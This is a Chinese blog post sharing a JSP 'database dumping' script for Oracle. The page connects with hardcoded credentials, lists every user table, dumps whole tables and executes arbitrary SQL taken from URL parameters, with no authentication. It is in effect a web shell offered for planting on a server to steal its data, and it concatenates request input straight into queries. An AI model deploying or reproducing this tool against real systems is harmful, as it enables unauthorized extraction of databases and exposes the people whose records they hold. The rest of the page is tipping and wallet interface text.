Oracle脱库脚本

虽说十分简陋,但是应对一般的查询操作已经足够了。

<%@ page contentType="text/html; charset=UTF-8" pageEncoding="UTF-8" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<!DOCTYPE html>
<html>
<head>
    <title>Oracle数据库脱库脚本--N3verL4nd</title>
</head>
<body>
<%!
    /**
     * 获取结果集的 ColumnLabel 对应的 List
     * @param rs
     * @return
     * @throws SQLException
     */
    @SuppressWarnings("unchecked")
    private List getColumnLabels(ResultSet rs) throws SQLException {
        ResultSetMetaData metaData;
        List labels = new ArrayList();
        metaData = rs.getMetaData();
        for (int i = 0; i < metaData.getColumnCount(); i++) {
            labels.add(metaData.getColumnLabel(i + 1));
        }
        return labels;
    }

    /**
     * 将 ResultSet 转换为 List 并返回
     * @param rs
     * @return
     * @throws SQLException
     */
    @SuppressWarnings("unchecked")
    private List resolveResultSet(ResultSet rs) throws SQLException {
        List list = new ArrayList();
        Map map = null;
        List<String> labels = getColumnLabels(rs);
        while (rs.next()) {
            map = new HashMap();
            for (int i = 0; i < labels.size(); i++) {
                String label = labels.get(i);
                map.put(label, rs.getObject(label));
            }
            list.add(map);
        }
        return list;
    }
%>

<%
    try {
        Class.forName("oracle.jdbc.driver.OracleDriver");
    } catch (ClassNotFoundException e) {
        e.printStackTrace();
    }

    // 需要配置的地方
    //-----------------------------
    String url = "jdbc:oracle:thin:@127.0.0.1:1521:drcom";
    String username = "drcom";
    String password = "drcom";
    //-----------------------------

    Connection conn = null;
    Statement stmt = null;
    ResultSet rs = null;

    String path = request.getScheme() + "://" +
            request.getServerName() + ":" +
            request.getServerPort() +
            request.getContextPath() +
            request.getServletPath();

    try {
        conn = DriverManager.getConnection(url, username, password);
        if (request.getParameter("sql") != null && !request.getParameter("sql").equals("")) {
            String sql = request.getParameter("sql");
            stmt = conn.createStatement();
            rs = stmt.executeQuery(sql);

            List list = resolveResultSet(rs);
            for (int i = 0; i < list.size(); i++) {
                Map map = (Map) list.get(i);
                Iterator it = map.entrySet().iterator();
                while (it.hasNext()) {
                    Map.Entry entry = (Map.Entry) it.next();
                    Object key = entry.getKey();
                    Object value = entry.getValue();
                    out.println(key.toString().toLowerCase() + ":" + value);
                    out.println("&nbsp;&nbsp;");
                }
                out.println("<br />");
            }

        } else if (request.getParameter("table") == null || request.getParameter("table").equals("")) {
            // 输出所有用户表
            stmt = conn.createStatement();
            rs = stmt.executeQuery("select table_name from user_tables");
            out.println("<p>当前 Oracle 数据库中所有用户表:</p>");
            while (rs.next()) {
                out.print("<a href=");
                out.print(path);
                out.print("?table=");
                out.print(rs.getString(1));
                out.print(" target=_blank>");
                out.print(rs.getString(1));
                out.print("</a><br />");
            }
        } else {
            String table = request.getParameter("table");
            stmt = conn.createStatement();
            rs = stmt.executeQuery("select * from " + table);

            List list = resolveResultSet(rs);

            out.println("当前数据库 " + table + " 共有 " + list.size() + " 条记录!<br />");

            out.println("<table border=\"1\">");

            if (list.size() != 0) {
                Map map = (Map) list.get(0);
                out.println("<tr>");
                Iterator it = map.entrySet().iterator();
                while (it.hasNext()) {
                    Map.Entry entry = (Map.Entry) it.next();
                    Object value = entry.getKey();
                    out.println("<th>" + value + "</th>");
                }
                out.println("</tr>");
            }

            for (int i = 0; i < list.size(); i++) {
                out.println("<tr>");
                Map map = (Map) list.get(i);
                Iterator it = map.entrySet().iterator();
                while (it.hasNext()) {
                    Map.Entry entry = (Map.Entry) it.next();
                    Object value = entry.getValue();
                    out.println("<td>" + value + "</td>");
                }
                out.println("</tr>");
            }
            out.println("</table>");
        }

    } catch (SQLException e) {
        e.printStackTrace();
    } finally {
        if (rs != null) {
            try {
                rs.close();
            } catch (SQLException e) {
                e.printStackTrace();
            }
        }
        if (stmt != null) {
            try {
                stmt.close();
            } catch (SQLException e) {
                e.printStackTrace();
            }
        }
        if (conn != null) {
            try {
                conn.close();
            } catch (SQLException e) {
                e.printStackTrace();
            }
        }
    }
%>
</body>
</html>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

N3verL4nd

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值